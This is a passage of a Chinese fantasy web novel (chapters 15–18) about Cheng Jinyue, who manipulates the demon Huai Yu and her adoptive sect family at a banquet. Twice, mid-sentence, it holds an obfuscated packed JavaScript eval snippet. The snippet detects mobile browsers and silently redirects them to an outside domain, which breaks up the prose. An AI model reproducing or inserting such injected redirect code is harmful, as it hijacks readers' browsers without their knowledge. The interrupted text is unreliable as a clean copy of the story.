随后他觉得自己浑身滚烫,像沙漠之中渴求水的旅人,他的灵魂与□□都在颤抖,像是淋了倾盆大雨,浑身湿透,整个人逐渐失温,而在雨中有人义无反顾地抱住了他,尽管他浑身泥泞,浑身湿漉。 程今越在怀钰耳边轻笑,如一阵铃铛在怀钰心中摇晃,她这一次没有踮起脚,而是轻轻将怀钰往下按了按,让他低下头,弯下身子,怀钰的身体跟随着她的手动着,随后他的头埋到了程今越的颈窝之中。 怀钰感受到程今越柔顺的长发,闻到她身上的香味,弥漫进他的血液。 而程今越低下头看着他,抬起纤细的手,再一次插入他的发间,指腹揉搓着他的头发,就像那一日一样。 “怀钰真乖。” 怀钰的头发也很长,他以前对自己的外貌从来不在意,每次都是胡乱地揉搓,图个干净就行,所以他的头发有些长,黑色的长发微微遮住了他的眼睛。 被遮挡的眼睛轻轻抬起,眸中闪烁着屋中燃烧的蜡烛的火光。 他看着温柔地看着他的程今越,瞳孔微微放大,好像要将程今越吸进去。 “那怀钰是不是因为嫉妒阿年才杀了他呢?” “嫉妒?” 怀钰其实也不太懂嫉妒是什么意思。 “嫉妒就是,因为你很爱我,所以你不愿意看到我也去爱别人,所以你想杀了阿年。” “是……不是!” 怀钰低着头,脑海里混乱一片。 他的耳边却一直传来程今越的话语。 “对不起怀钰,那我会改正的,我以后会多注意,我不爱其他任何人,我只爱你。” “所以以后怀钰不可以乱杀人了,好不好?” 她抚摸上怀钰的脸。 怀钰愣了愣,想了又想。 不随意杀人,这对他来说,实在是很难做到。 他从诞生之日起,手中便沾染上了血腥,他这样做又有什么好处呢? 这几乎是要改变他的习惯。 程今越一边将血珠做成耳坠,她拿着耳坠,看着怀钰,犹犹豫豫地,不知道要不要戴上去。 她一眨不眨地看着怀钰,蜡烛的光柔和地洒在她的脸上。 “我……” “可他们不该死吗?” 怀钰问,他低着头,埋在程今越多脖颈里,那里血液流动,让他格外温暖。 “我当然会支持你的,只需要怀钰多问问我,听一听我的想法。” “在我要用的人之前,问一问我就好了。” “怀钰能做到的吧?” 怀钰低头思考着。 反正他比程今越强,一旦程今越要做出对他不利的行为时,他可以轻轻松松将程今越杀死。 就算是被血契反噬掉又如何呢?他也不在乎。 更何况,只要他的契约完成了,他就马上可以杀掉程今越了,这对他并不难做到。反正他也不在乎程今越能不能帮他解开封印,他自己能找办法。 但…… 或许是怀抱过于温暖,这样的感受太过稀有,一旦沾染上便不愿离开,孤独的魔种太过贪恋。 即便他知道程今越说的话,可能没有一句是真话。 所有的笑容与温暖都让他渐渐放弃了思考,好像听从程今越的话也不是一件坏事。 她很聪明,比自己聪明…… “我……尽量。” 得到了答案的程今越脸上的笑容更加灿烂,她将血红色的耳坠放到怀钰的手上,“怀钰能帮我戴耳坠吗?” 她亮晶晶的眼睛看着怀钰。 怀钰接过那对耳坠,又对上程今越雪白的耳垂,这让他想到一些其他的东西,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775435|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就滚烫的身体体温更加高。 原本程今越戴的耳坠,左耳上的是由怀钰的血做成的,右耳上的却是普通的红色珠子。 怀钰想到了什么,他将自己的手指割破,取了一滴鲜红的血,与那一滴血珠凑成了一对。 他术法一施,耳坠上的勾环也铸成,他轻轻站起身,站在程今越的身边。 别说给人戴耳坠,就算是这样站在女子身边,他都是第一次。 不过他学东西很快,只要见过便能学会。 他弯下腰,用指尖触碰着程今越软白的耳垂,将用他血做的耳坠缓缓挂在耳垂之上。 他做完后,迅速别开眼睛,将手立马收回。 “如果你把它再摔碎了,我会杀了你。” 程今越却立马抓住他撤回的手,握住他的掌心,把它贴到了程今越刚戴好的耳坠上,贴到程今越巴掌大的小脸上。带着水光的眼睛盯着怀钰。 “我会好好保管怀钰送我的礼物的,我答应你。” 怀钰的手指很长,比普通人的长出许多,骨节分明,手背的肌肤白皙,隐隐可见淡青色的脉络。 覆盖在程今越脸上时,一只手就能将她的脸完全覆盖着。 还没等怀钰瞪大的眼睛收回,程今越突然吻了吻他的手心,深深地,狠狠地,用力地。 柔软与湿软的触感便从怀钰的手掌之中闪电般蔓延到他的全身。 他想要将手收回,却被程今越紧紧抓住。 “怀钰,为什么要躲呢?” “如果一个人爱另外一个人的话,就是要吻他的。” “怀钰,你不喜欢吗?” 怀钰想要摇头,可是他答应了程今越不能撒谎。 所以他没有回答,他心跳得很快。 “我……我……” 他结结巴巴地,他的体温已经高得像一个滚烫的火炉,热气从他的身上蔓延开,他脸本就白,红晕从他的耳根一直蔓延到他的脖子。 他急需冷静,如果他再待着这里,他就感觉自己马上会被融化。 随后程今越便感受到手中滚烫的火炉一瞬间消失在身前,就如上次一样。 程今越脸上的笑瞬间消失,她冷冷地看着眼前的一切。 这就又跑了? 怀钰什么时候能开窍呢? 程今越已经忍不住想将怀钰的灵根染上她的气息了。 她轻轻地瘪嘴。 她感受着怀中的温暖,脸上又不住地浮起笑容。 她回忆着之前的一幕幕,轻轻地反思着。 阿年死的时候,程今越的愤怒与眼泪都是真实的,不过不仅仅是因为阿年死了。 更多的是因为,怀钰没有听她的话,没有提前过问她,这或许才是让她最愤怒的地方。 虽然阿年死了也有些可惜,毕竟是一个很好的灵根,但是死了也就死了,也没什么好心疼的,还有更好的。 但是怀钰不一样,怀钰的价值更大。 而且,阿年的死是值得的,他的死换来了怀钰更加的信任,这是一个划算的买卖。 程今越讨厌不听话的狗。 她要让怀钰明白一个道理,做事之前,应该先过问她。 让他明白,服从命令,是他应该做的。 想到怀钰的反应,程今越浑身兴奋得就要忍不住大笑。 她已经好久没有见到这样单纯的人了,蠢得要命。 就连她这样的说辞,居然也会相信。 她已经开始想象怀钰知道真相后的样子了,会怎么样呢? 会哭吗?会大叫吗?会嚷嚷着要杀掉她吗? 可如果到了那个时候,怀钰应该也没有任何机会做出这样的动作了。 因为程今越要他去死。 16.第十六章 程蕴知告诉程今越,明天就是家宴了。 她点了点头,随后躺在床上。 家这个词,对程今越来说,有些陌生,有些模糊。 她生下来的时候,父亲就为了保护她和母亲死了,她和母亲在世间到处奔波流浪。 母亲很爱她,虽然她们的日子过得不算太好,那也是程今越记忆中一段美好的时光。 她的母亲很会伪装,也很会骗人,她有过很多父亲,性格各种各样,武力有高有低,无一例外都很爱她的母亲,不过也都死了。 所以程今越学了很多东西,杀猪,算账,读四书五经,做纸伞,唱戏,做棺材,抬尸,埋人,谋杀……根据她的父亲的职业而定。 不过程今越逐渐意识到,最有效的还是她从母亲身上学的。 骗人。 所以她和她的母亲开始一起骗人,她们合作得越来越好,她学得精妙,甚至要超过她的母亲。 不过这很快也不顶用了,她的母亲最后还是死了。 因为她们实在是太弱了。 微弱的灵根,甚至连基本的术法都无法使用。 他们长明族想要使用术法,就能去吃人,吃其他人的灵根。 吃一点法力用一点。 就这样活着。 如此狼狈,血腥,不堪,用为世人厌恶的方法。 但人间哪有那么多有灵根的人,可若是去仙门,他们长明族的气息展露无遗,更是别想活。 所以程今越很早就明白了,老天可能根本就不想要他们活着。 母亲死去这件事情,程今越已经预想过很多次了,她早就有心理准备。 所以她头也不回,果断地跑了,跑的时候,她甚至没有流泪。 大厦倾倒,没有唱戏里那咿咿呀呀的哀乐,没有路边话本子里写的落花纷纷而落,没有轰轰烈烈的大雨倾盆。 就只是平常的白天,只是短暂地刀起刀落,街道上依旧熙熙攘攘,人声鼎沸,没有任何人停下脚步。 简单而普通。 她脸上面无表情,利落地做着演练了无数次的应对,心中却有无声而巨大的坍塌。 从此以后,她就是一个人了。 她的心中好像被棉花堵住了,湿漉漉的,无法呼吸,她心疼得难受。 她想,要不我也去死算了,就这样一直逃吗?要逃到什么时候呢?什么时候才是个头呢? 干脆死吧,一了百了吧。 她将刀放在自己的脖子上,最后刀掉到了她的脚边。 她做不到。 不甘心,不服输,凭什么? 凭什么她要去死?凭什么死的是她? 凭什么那群高高在上的权贵不去死,凭什么要杀他们的人不去死? 她图谋的不多,只是想要活着。 只是想要和母亲好好地活着。 可是没有人愿意放过她。 因为她的血实在是太珍贵了,她也能够理解。 程今越最后还是放弃了去死。 她心中有一口气。 她偏偏要好好地活着。 就算你上天根本不想让我活,就算去欺骗,就算去杀戮,就算恶贯满盈。 最后程今越还是没有哭,她平时落的虚假的泪太多了,已经让她失去了什么东西。 或许,比悲伤更残忍的是麻木。 程蕴知拉着盛装打扮的程今越,她笑着夸程今越真好看。 程今越身上穿的衣裳,可谓是她这辈子穿过最昂贵的了,穿在她的身上,甚至让她觉得有些怪异,有些不真实。 但她的确就是穿上这样的衣裳了,这是她拼了命换来的。 她以后还会穿更好的衣裳。 虽说是家宴,但实际上是大衍剑宗的宗主,程今越表面上的父亲,程旭的生辰。 所以大衍剑宗今日很热闹,所有人的脸上都带着笑脸,话语不断。 不过按照程氏的规矩,今日是家中聚会,仅有至亲吃顿团圆饭,第二日便是对外做了一场宴席,以大衍剑宗的地位,来的人非富即贵,都是各仙门有名的人物。 程今越来到第一年,时间已经过了,第二年时,程蕴知身体抱恙,没有举办,今年是第三年,她第一次参加这个家宴。 这一次的家宴,与以往的都不一样。 谁都知道程蕴知病了好多年,今年却突然放出消息说要好了,可以示众了。 其次便是程今越,一个莫名其妙冒出来的三小姐,在外的人都没有人见过,而从大衍剑宗传出去的消息,都说这位三小姐天赋极差,丝毫没有继承到大衍剑宗的血脉。 谁都爱看笑话。 所以今年来的人更多了。 不过这也只是算个锦上添花,外面还有更复杂的事情,光程今越知道的事情就有好几件好几桩。 什么“被封印的魔种跑了,不知道去哪儿了,式微的魔界也开始蠢蠢欲动起来,魔物频出,霍乱人世。” 什么“无定界的界主退位,少主上位,声名远扬,儒雅随和,要做一番大事。” 什么“炼月楼的楼主病重,如今正在四处寻药。” 程今越一边想着其中的联系,又该如何应对,一边听着程蕴知的话,做着回应。 “小妹,你别紧张,今天是你第一次来家宴,大家都很期待你参加这次家宴!” “你在外受难十几年才回了剑宗,偏偏今日才参加家宴,实在是让我心疼。” “都怪我不好,如果我的病好得再快一点,昨年的家宴便能开呢。” 程蕴知牵着程今越的手,她脸上笑盈盈的,一双杏眸眨着,她很开心。 这是她期待了特别久的家宴,程今越终于算真正地认祖归宗了,也可以让其他人认识看见她了。 她要把程今越介绍给所有人,让所有人都认识程今越。 知道她的善良,温柔,聪明,知书达理,遍览千山万水,只要是世间存在的东西,几乎没有她不会做的,她要让所有人知道她程蕴知有一个多么完美的妹妹。 当然,这也是程蕴知期待已久的回归。 她的病要好了,她要重新拿起剑,保护她最亲的人。 华灯初上,两人身后跟了婢女无数,走到腾凌宫前,又是百阶长梯,殿前广阔平坦,雕栏玉砌,可谓是奢华无比。 程蕴知突然注意到程今越的耳坠,并没有戴她亲自给她挑的那一对。 这只是一对简单得不能再简单的红珠子耳坠。 “小妹,你为什么戴的是这对耳坠,好难看。”她直言不讳。 “做这珠子的石头虽然没怎么见过,看起来倒是稀奇,却没有一丝花纹,一点装饰也没有,这也太简陋了,如何能配得上你。” “这样的耳坠,也就是乡下的村妇才戴了,你可是我的妹妹,你不准戴这样丑的坠子。” 程蕴知皱着眉头,心中不悦,她最喜欢给程今越打扮,她喜欢看小妹穿上她给她挑的好看的衣服。 今日程今越为什么没有听她的话? 话音刚落,程蕴知便突然感觉心中一慌,浑身有些不适,那种感觉有些难以描述,就好像是……又有人在盯着自己,用格外不友好的目光。 她顿时四处张望着,却没有发现自己周围有任何人在看她。 或许只是她多想了…… 此时程今越也笑着开口说话了,“姐姐,这对珠子你虽然看着普通,但却是个稀奇的东西。” “我在人间的时候,曾在寺庙之中求过菩萨,许了几个愿望,寺庙的住持便让我用法子寻一对红色的珠子,时常戴在身上,便能带来好运,愿望成真。” “今越此生,能依靠的人不多,便求菩萨让姐姐早日好起来,我此生也就满足了。” “这便是我苦苦求来的珠子,对我分外重要,如今是我的护身符,我此生都要带着它。” “还请姐姐……原谅今越吧。” 程今越捏着程蕴知的衣袖,声音轻柔带着一丝乞求。 程蕴知听着程今越的话,皱起来的眉头瞬间舒展开来,她瞪大眸子,像一头愧疚的小鹿。 她握住程今越的手,“原来是这样嘛,小妹心中无时无刻都想着我,我却还责怪小妹,都是我不好。” 程蕴知低了头,发现方才的不适感依旧存在,让她浑身像有蚂蚁在爬,但却在淡淡地减弱。 她有些疑惑地拉着程今越的手进了宫殿。 这次家宴的人大多都是宗主程望的兄弟姊妹及其子女,一共也不过二十人。 虽然人少,但程今越一个也没有见过。 不过她早有准备,提前找来了画像,找人问清楚了爱好习惯。 殿前来人时,不免就碰上来往的亲朋,程蕴知还未反应过来,程今越已经拉着她开始行礼问好了。 程蕴知从来没有在意过这些,这些伯父伯母,弟弟妹妹的,也就小的时候来往过,而且年纪有些差得太多,玩不到一起,所以也并不熟络,她也最讨厌去做这些无用的交往,她只肖看一眼这些人的眼睛,便知道有几分真心。 愿意和她多说几句话,也不过是因为她是大衍剑宗的大小姐,身上有着绝佳的天赋。 那时跟在程蕴知身后的不知有多少人,但是没有两三个是抱着多大的真心,就算是捧了真心,也因为身份天赋差距过大,总有隔阂。 更别提程蕴知后来生了病,失去了她最引以为傲的天赋,她身边的人也就更少了。 第一年的时候,来看她的人可多,嘘寒问暖,送了好礼无数,她也曾交出过几份真心,但随着她的病不好反而加重,来的人就越来越少,从前熟悉的脸庞竟也再也没有见过。 毕竟在仙门之中,身世再好也是有落寞的一天,归根到底要靠的还是修为与天赋。 天赋…… 天赋她怎么没有? 程蕴知有着世间顶尖的天赋,她只是生了病! 这群人为什么要这样对她? 程蕴知虽然记不得嘘寒问暖的那几个人了,但是倒是记得清嘲讽过她,阴阳怪气地说话的那几个人。 等她病一好,她第一件事就是把这些人全杀了。 那是程蕴知过得最难的几年,也是大衍剑宗弟子过得极难的几年。 她的性格越来越古怪,剑宗的人都避着她走,因为但凡说错一句话,大小姐便要一剑当场杀人。 每个月少的话,便只有几个人死在她的手下,多的话更是数不胜数,几十人上百人也是常有的事。 一时间人心惶惶,但又无人敢言。 毕竟死的都是一些家世不算多好的弟子以及一些出身平民的婢女,倒也不重要,若是死几个人能安抚大小姐的心情,也算是死得其所。 不过没过多久,程今越便出现了,程蕴知的脾气不知 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程蕴知也骄傲地扬起头,“当然,这些人我从小就认识了,我挨着给你介绍,有姐姐在,你不用担心!哼哼!” 殿中已经入座了数人,中间有丝竹管弦作响,典雅庄严。 殿中放了数张桌子,按照辈分亲疏排列着,上面用术法写了入座人的姓名或名号。 程蕴知拉着她,走到最前面,按理来说,程今越就应该坐程蕴知的旁边,可程蕴知看了又看,却没有在附近发现放有程今越名字的桌子。 程蕴知皱了眉头,将殿中的所有侍卫婢女都恶狠狠地盯了一遍,“谁规定的这个座位?为什么我的小妹不坐我的旁边?你们这帮废物,根本不会做事,把你们养来全是吃干饭的,我要把你们全杀了!” 她的声音尖锐,吓得殿内乌压压地跪了一片,丝竹管弦瞬间停止,舞女停了动作,跪倒在地上,颤颤巍巍的。 程今越连忙拉着她的手,皱着眉头,摇了摇头,“姐姐,没事,别气着自己,我坐你远一点也没有关系的。” 众人立马松了一口气 ,但依旧不敢抬头,程蕴知气不过,她可是想了这场家宴想了好久,今天居然出了这样的差错。 她一时气不过,想要拔剑杀人,却又觉得今天的日子不好见血,于是她左看右看,看谁最不顺眼,她随便逮到一个侍卫,一脚就朝他踢过去,带着格外狠戾的劲,可对方却一声也不敢出,只敢受着。 “表姐,别生气了,不如把我这个位置让给今越妹妹吧。”有人见情形不对,赶紧站出来打圆场。 程今越连忙摇头,“怎可因为我乱了规矩,这万万不可。” “是啊,规矩就是规矩,怎么可以随意乱了规矩呢!”嚣张跋扈的声音从远处传来,张扬又带着戾气。 程今越不用想就知道是谁。 他怎么还没死…… 程望被一群人扶着,踉踉跄跄地走进殿中,面色红润,看起来伤已经好得差不多了。 他径直走向程今越,脸上带着玩味的笑,从上到下地扫视着程今越。 可还未靠近她,程蕴知便挡在程今越的身前,仰头看着程望。 “我看你病没好完就少说两句话吧。” “别到时候又把你的病诬陷在小越身上,哼。” 程望阴鸷地看着程蕴知,眉毛紧紧锁住,火药一下子就被点燃,他急躁地开口:“你在这里多管什么闲事!” 他脾气火爆,谁来说两句就要失去理智,一时怒上心头,他又猛地咳嗽起来,喉中快要涌出猩红来。 周身的婢女连忙扶住他落了座。 场面一片尴尬,所有人的目光交错着又互相避让着,心中各有所思。 程今越连忙低头寻找着自己的座位。 她从前往后,从左往右地走着,对了一个又一个名字,却迟迟没有看见她的。 直到她走到最后面,看完了所有的位置。 根本就没有她的名字。 又或者说,根本就没有给她留位置。 她是个外人。 程今越站在原地。 几乎所有人都入席了,只有程今越一个人站在原地,在场的人都将目光放在她的身上。 “三妹妹,怎么不坐啊,站着做什么?”程望靠在椅子上,身边的美婢给他倒了一杯酒,他恣意地喝了一口,挑着眉看着程今越。 程蕴知也抬眸,有些疑惑,刚想要说什么,大衍剑宗的宗主与宗主夫人带着最后一批人有说有笑地进了宫殿之中。 所有人站起身来朝其问好。 程旭与李从霜落座,剩下的宾客也落座,殿内的座椅全部坐满,无一空位。 而程今越还站在门口的地方。所有人都看着她。 程旭看着程今越,便出口询问,“今越何不落座?” 席上一片寂静,众人皆不出声,都将目光抛到程今越身上。 程今越笑着,正要开口,谁知此时程蕴知突发愤怒地站起身。 程蕴知从来的时候心情便不好,只见她一把摔了手上的碗筷,动静极大,所有人都被她吸引过去。 “落座?” “这里都坐满了,根本就没有给小越留位置!” “到底是谁没长脑子,连三小姐的座位都给算漏了!” 17.第十七章 程蕴知眼睛瞬间红了,满腔地委屈涌上心头,她连忙小跑到程今越的面前,拉住程今越便往自己的位置走,让她坐在自己的座位上。 程今越本已经想好了应对措施,如何圆场想得明明白白,可哪里料得到程蕴知这一出。 她纵是见过极多的场面,可以应对许多突发状况,但也实在想不到程蕴知要做什么。 程望看着眼前的一幕,猛地笑出声,“这里可是家宴,程蕴知,你又在发什么疯?” 程蕴知本来想算了,正在跟程今越说小话,如今程望这句话一出,更是让她一把火从心里烧起来。 程蕴知满腔怒意地走到程望面前,没有一丝犹豫,一把就将他的桌子掀翻,桌上的蔬果酒杯散落一地,洒落在程望的身上。 她的病又犯了,浑身不受控制,怒气直冲云霄。 她声音尖锐,大吼着。 “那你也别吃了,大家都别吃了!” 程望连忙站起身来,将身上的东西扫开,指着程蕴知,快要跳起来。 “你他妈真的疯了!” “你还说我病没好,我看你才是真的病没好!” 程望抓住程蕴知,两人就要扭打在一起。 “够了!”程旭坐在首位,沉沉地喊了一声。 两人顿时停下,气愤地看着彼此。 李从霜坐在一旁坐立不安,却又顾着脸面,没有离开座位。 程旭真是头疼。 两个亲生孩子,一个都靠不住! 程望本来天资就一般,悟性更是一般,他本来就不放心,一直将资源放在程蕴知身上。 程蕴知天生就天赋异禀,程旭最是看好她,把她当做继承人培养,可偏偏天有不测风云,程蕴知却突然病了。 身上病了也就算了,久而久之,如今心上也有了病,如今离了程今越就跟不能活了一样。 一个都不成气候! “给三小姐赐座!以后定不许出这样的纰漏了。” 他抬头看向程今越,却发现她脸上并没有一丝窘迫和不安,只是安安静静地站在那里,气质沉稳出群。 “谢爹爹!” “还望爹爹不要过多苛责下人了,我第一次来家宴,他们忘记了也是情有可原。”她微微作揖,脸上带着浅笑。 程旭反观四目相对的程蕴知和程望,他一时心中窝火。 偏偏这个没有血缘的程今越倒更像他的孩子。 程今越上前拉住程蕴知,她才愤愤地瞪了一眼程望,回到自己的座位上。 这出戏倒是格外精彩,让在座的亲戚都不禁眼前一黑,只好假装没有发生过一样,说着其他的话,打着圆场。 随后宴席开始,笙歌又起,才勉强掩盖刚才的一幕。 程蕴知脸上还挂着泪,嘴一直撅着,泪都要把妆弄花了,根本吃不下东西。 程今越的位置就在程蕴知旁边,她轻轻往程蕴知身上靠了靠,用指腹轻轻地擦了擦程蕴知眼角的泪。 “姐姐,没事的,别哭了。” “你难过,我也难过。” 她的声音压得很低,只有他们彼此二人才能听见。 程蕴知心中本就气愤,听见程今越柔柔的话,气一下子就消了许多,可她的委屈反而更浓了,泪更是止不住,她抱着程今越,泪越哭越多,像泉水一样涌出。 她也不想让别人听见,所以收了哭泣的声音,在喧闹的宴会之中,刚好也只有程今越能够听见。 其余人虽然也注意到了,但也都假装没有看到,自顾自地吃着饭聊着天。 程蕴知埋在程今越的脖颈之中,紧紧地抱住她,听着程今越一声又一声的安慰。 程今越一边说着话,一边又感受到那熟悉的阴湿的目光,不知道又藏在什么地方,死死地盯着她。 “姐姐,别哭了,妆都花了。” “你不是盼望了这次家宴很久了吗?现在一定要漂漂亮亮地出现在他们面前呀。” “而且姐姐不是说要把小越介绍给他们吗?小越也想要和姐姐一起认识他们呀。” 程今越拍着程蕴知的背,轻轻地安抚她。 若是不知道的,还以为方才被人忘了安排座位的是程蕴知。 程今越靠着程蕴知的耳边小声地说着,脸上带着盈盈的笑。 她用脸靠着程蕴知的脸,轻轻蹭了蹭,将自己身上的温度传递过去。 而她身后阴湿的目光越来越浓,简直就要贴到她的身上,好像一把刀,下一秒就要贴到她的脖颈。 程今越脸上的笑却更加浓郁,好像方才的委屈并没有出现,好像这道目光根本就不存在。 程今越一边安慰着程今越,一边感受着这道饱含占有欲的目光,想要她把融入血液里的目光。 “对,小越说得对,我怎么可以这样,我不能哭了!” “嗯,姐姐不要哭了!” 这是一种很新奇的体验,她以前从来没有感受过,从前的时候,在角落盯着她的人,无一例外不是要杀了她,而这一次却不一样。 “小越,你说得对,其实他们真的很偏心,他们真的都很坏,他们居然这样对你。” “如果我的病真的好不了了,他们也一定会这样对我的。” “你说得对,小越,其实他们根本就不爱我们。” “没事姐姐,在这世间,我们两个彼此依靠,彼此相爱,不就够了吗?” “小越会永远和姐姐站在一起,永远爱你。” 程今越有些喜欢这样的目光,喜欢这样的感觉,她觉得自己的心中好像有些满足感,让她兴奋,愉悦。 这好像有些病态,不过她不在乎。 程蕴知紧紧地抱着程今越,哭声渐渐小了许多,闻着她身上好闻的香味。 程今越也闻到程蕴知身上好闻的香味,是极佳灵根的香味,无尽地诱惑着她。 不过这也在警告她,程蕴知的病要好了。 宴会结束的时候,程今越都还没有吃两口。 所有人离场的时候,程旭突然叫住了她。 好不容易让程蕴知在外面等程今越后,屋内仅有程今越与程旭两人。 大衍剑宗的宗主有些苍老,头上有几缕白发,眼睛倒还算是炯炯有神,但程今越记得,刚见他的时候,他的状态比现在的好太多,这几年外面的事情太多太复杂,倒也是让这位掌权十多年的宗主有些疲惫。 他坐在椅子上,喝了一口茶,程今越则站着朝他行了礼,“宗主有什么要交代今越的吗?” 程旭一笑,程今越依旧是这样聪明。 大家都是聪明人,所以程旭直接开门见山,“今越,这些年着实是麻烦你了,若是没有你,蕴知怕是那年便要离我而去了。” “如今蕴知的伤病也要好了,甚至心病也要被你治好了,说实话,我真的不知道没有你该怎么办,你的恩情我一直记在心里面。” 程今越心中冷笑,少在这里说这些有的没的了,老狐狸。 她低着头,带着一丝惶恐,“宗主谬赞了,今越不过是做了些本分的事情,宗主给了我这个身份,我自然要尽力而为,不辜负宗主给我的信任,何况蕴知小姐心地善良,我又怎么见得她受苦?” “是啊,我听见大家对你的口碑都格外不错,比我生的那两个废物好多了。” “我打心里想,如果今越姑娘真是我的孩子就好了。” 程旭喝着茶,又倒了一杯递给程今越。 程今越更加惶恐地低头,“我这等资质,又怎么能攀比得上长公子与大小姐呢?如果不是宗主给我的机会,又有谁会看到今越呢?” 程旭笑着喝了口茶,发出啧啧的声音。 最后他将茶杯一搁,看着程今越,“今越姑娘为我剑宗做了甚多事情,又要治好了蕴知,我觉得我给今越姑娘的报酬实在是太少。” 老不死的,终于说到正题了。 “宗主大人给我的已经足够多了,若是今越再受,实在是心中惶恐。” 她放下茶,连忙朝程旭跪下。 程旭一边拉起她,一边说,“今越姑娘的身份特殊,按照我们的约定,本该放你自由,但我心中又实在担心,实在是不想姑娘再陷入水深火热的地方。” “所以……我为姑娘谋了一桩婚事。” “炼月楼在仙门中地位不低,最擅符咒阵法,楼主如今正值壮年,我与这位楼主相识甚久,心性甚佳,宽厚有礼,若是今越嫁给他,定然般配,炼月楼也定能给今越姑娘提供保护,谁又敢对楼主夫人动手呢?” “当然,若是今越姑娘若是不愿意,我自然不会强求。” 他说着,神情和蔼,若是不了解情况的可就真信了。 炼月楼的楼主病危,都快死了,虽然实际年龄跟程今越差不多,但由于长明族长寿,光看外表,就是一个十几岁的小姑娘嫁给六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794981|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十岁的糟老头子。 虽然消息很少,但要求医就会走漏风声,到处都是程今越的信徒,这种事情可瞒不住她。 还假意说什么不愿意,程今越如今的地位,还有她说拒绝的份? 摆明了就一句话,“不答应就死”。 但也不是没有回旋余地,一切都可以争取。 程今越听完程旭的话,眼眶一瞬间就红了起来,泪珠忍不住地从她的眼眶中流出,一颗一颗地落在她的脸庞之中,楚楚可怜。 她跪着,声音哽咽,“今越不想离开剑宗,还请宗主不要赶今越走!” “今越在剑宗快三年,有了无数的感情,蕴知小姐便跟我的亲姐姐一样,今越实在是离不开她。” “便是不要这个小姐的身份,换一张脸,在蕴知小姐身边做一个婢女,今越也心甘情愿!” “还请宗主三思!” 炼月楼具体是个什么情况她还不懂,再花时间去经营也来不及,虽然说是去做夫人,但那里的人又真的会把她看作什么呢? 对方是否知道她长明族的身份呢?她才不相信程旭只是单单把她当作一个联姻工具。 程旭与程今越来回拉扯了几回合,程旭终于叹了气,最后小声道,“今越姑娘的想法我已经了解了,坦诚讲,我也不想今越姑娘离开大衍剑宗。” “如今魔物入境,动荡不安,怕是没有多少时间,便会起纷争,我宗门弟子必然有伤亡,所以在下想请今越姑娘多炼些药,留在宗门之中,为世间安宁做准备。” 程今越冷笑,这才是这个老狐狸的真正目的吧,长明族的血在哪里都是最宝贵的东西,程旭又怎么会甘愿放下一块到手的肥肉呢? 程今越继续听着程旭的要求,抛去不重要的信息,程旭要她接下来如前三年一样,放血制药,但是分量格外大,若是程今越要做的话,便要三日放一次血。 前三年,每七日放一次血,制一次丹药,已经让程今越格外虚弱,她几乎是强撑过来的,要频繁地靠吸食灵根保持身体。 而她吸食灵根这件事情还要偷偷地做,不能让程旭帮忙。 毕竟她的弱点就是灵根弱,武力低,无法反击,这也是她的优势,能让程旭对她有些放心,就算程今越有什么动作,仅凭她的修为,也掀不起什么风浪,所以断然不能让程旭知道。 如今他倒是狮子大开口,这哪里是要她的血,根本是要她的命。 但是程今越方才已经表露过自己想要留在剑宗,又拒绝了程旭,如今再次拒绝,情况就完全不同了。 “我知道今越姑娘心善,在司医宫收养了许多无家可归的孩子,在下也十分赞同今越姑娘的做法,若是姑娘应下我,为了方便姑娘炼丹,我便将司药宫与司医宫都让姑娘管理部分。” 这样的报酬,在表面上看起来,可谓是丰厚无比了,程旭根本没有给程今越拒绝的余地。 程今越连忙磕头,“今越一切听从宗主安排!” 在程旭的大笑中,她退了出去,心中思绪万千。 * 程今越躺在床上,浑身疲惫,将要睡去,她的脸边却传来沉重的呼吸声,气息热滚滚地打在她的脸上,她睁眸,只见一双泛着血色的眼睛正死死地盯着她。 那双红色的眼睛,在夜中闪着光,格外引人注目。 “为什么……又……断开了我的神识!”他一字一顿地说着,浑身像起火了一样,怒意不加掩饰,像一把刀。 他眼睁睁地看着程今越抱着程蕴知,凭什么凭什么! 他那时就想开口阻止程今越不要那么多,可偏偏他发现神识已经被切断了! 还未等程今越开口,怀钰突然翻身压在程今越的身上,看着程今越白嫩的脖子,他忍不住伸出手掐住,但又想到了什么,这一次的力气小了许多,他怕把程今越弄疼,但浑身的怒意让他无法克制。 虽然对于怀钰来说,力气小了许多,但对程今越来说,已经让她不能呼吸,她的脸色潮红,神情有些不自然,那双布满青筋的大手却一点没有放下去的意思。 黑暗中,怀钰身上的魔气逐渐蔓延开来,但是他早就布了结界,没有人能够发现。 他任由着象征他魔种的血瞳显露出来,格外狰狞可怖。 “程今越!你明明答应了我的!你明明答应了我的!” 他贴在程今越的脸上,呼吸粗重又滚烫,像一只野兽一样,露出他的獠牙。 18.第十八章 程今越伸出两只手,环抱住了怀钰的腰,她这才发现怀钰的腰格外细,她的眼眸中逐渐因为呼吸不畅盈满了泪水,她看着怀钰的愤怒的眼睛,蹙着眉,请求着他松开手。 怀钰不知道为什么,最初他很想看程今越落泪,而现在看到程今越落泪,他却又有些莫名其妙地烦躁,他不想看到程今越落泪,特别是为别人落泪。 怀钰松开了手,程今越得以呼吸,她大口喘着气,怀钰就要从床上爬起来,可突然间,程今越环绕在他腰上的手突然发力,将他往怀中拉,怀钰毫无防备,他一下子落在程今越身上,与她紧紧地拥抱在一起。 